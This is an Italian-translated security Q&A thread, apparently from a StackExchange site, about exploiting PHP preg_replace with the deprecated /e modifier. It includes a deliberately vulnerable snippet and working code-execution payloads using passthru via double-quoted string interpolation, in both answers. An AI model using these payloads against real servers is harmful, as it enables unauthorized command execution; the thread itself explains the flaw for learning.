Informazioni su preg_replace Filtering & Exploitation

2

Ecco la dimostrazione del concetto del codice:

<?php
$input=$_GET['input'];
print preg_replace('/[A-DH-M0-9._%+-]+@(.+)\.[A-Z]{2,4}/mADsex', 'strtoupper("\1")', $input);
?>

Non capisco bene cosa faccia il filtro, tutto quello che capisco è che dovrebbe cambiare le seguenti lettere [da A a D], [da H a M], da [0 a 9] in caratteri maiuscoli. Viene utilizzato anche il flag / e che consente di valutare il codice PHP. Quindi quando provo una stringa di prova di system("ls") , viene stampata con qualsiasi carattere rimosso e senza essere valutato come codice PHP.

    
posta 0x00 12.02.2017 - 19:43
fonte

2 risposte

3

Qui ci sono due problemi, entrambi risolvibili.

Come funziona preg_replace e come sfruttarlo

Il primo problema è che preg_replace con e non esegue solo qualsiasi cosa tu passi ad esso. Esegue solo quelle parti dell'input che corrispondono alla regex e vengono quindi utilizzate nella sostituzione tramite riferimenti precedenti.

Ecco un esempio meno complesso di come funziona ev_replace preg_replace:

// The vulnerable code:
echo preg_replace('/(.*)/e', 'strtoupper("\1")', $input);

// Your input:
foobar

// foobar is now captured and passed as back reference 1 to the replacement

// evaled:
strtoupper("foobar")

// the result of that eval is then put as replacement into the original input

Per risolvere il problema nel tuo esempio, crea semplicemente un input che corrisponda alla regex:

A@YOUR_PAYLOAD.AA

YOUR_PAYLOAD è ciò che catturerà il gruppo che cattura e che cosa farà riferimento nella sostituzione.

Esecuzione del codice all'interno della stringa doppia citazione

Il secondo problema è che la sostituzione usa la corrispondenza all'interno di una stringa, quindi la tua corrispondenza non verrà valutata come codice. Questo è un problema facile.

Il tuo payload è racchiuso tra stringhe tra virgolette doppie, quindi l'inserimento di qualsiasi codice PHP non funzionerà, in quanto verrà trattato come stringa, non come codice. Potresti pensare che semplicemente sfuggire alla stringa tramite " risolverebbe il tuo problema, ma ciò non funzionerebbe, poiché le virgolette doppie sono fuggito in tutti i riferimenti. Tuttavia, le variabili e le chiamate di funzione sono valutate all'interno di stringhe con doppie virgolette.

Ciò significa che puoi ottenere l'esecuzione del codice in questo modo:

input=A@${passthru($_GET[x])}.AA&x=id

Il codice che verrà valutato è:

strtoupper("${passthru($_GET[x])}")

Il risultato sarà una stringa vuota, ma quando passthru emette direttamente input, mostrerà il risultato. Se l'avviso è abilitato, anche l'uso di exec funzionerà.

    
risposta data 12.02.2017 - 20:25
fonte
-1

Il carico utile corretto è

A@${${passthru($_GET[x])}}.AA&x=whoami

    
risposta data 13.02.2017 - 10:42
fonte

Leggi altre domande sui tag